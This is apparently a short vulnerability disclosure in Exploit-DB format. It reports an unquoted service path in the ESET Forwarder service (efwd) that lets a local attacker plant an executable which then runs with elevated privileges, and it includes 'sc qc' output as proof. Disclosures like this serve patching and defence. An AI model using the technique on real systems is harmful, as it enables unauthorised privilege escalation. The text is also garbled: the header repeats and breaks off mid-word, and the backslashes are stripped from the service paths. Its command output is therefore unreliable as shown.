#########################################################################
# Exploit Title: ESET Forwarder 16.0.26.0 - Unquoted Service Path Privilege Escalation
# Date: 2023-04-30
# Aut #########################################################################
# Exploit Title: ESET Forwarder 16.0.26.0 - Unquoted Service Path Privilege Escalation
# Date: 2023-04-30
# Author: Milad Karimi (Ex3ptionaL)
# Vendor Homepage: https://www.eset.com
# Software Link: https://www.eset.com/download/
# version : 16.0.26.0 (Latest)
# Tested on: Windows 11
##########################################################################

ESET installs as a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:>sc qc efwd
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: efwd
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Program FilesESETESET Securityefwd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ESET Forwarder
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITYNetworkService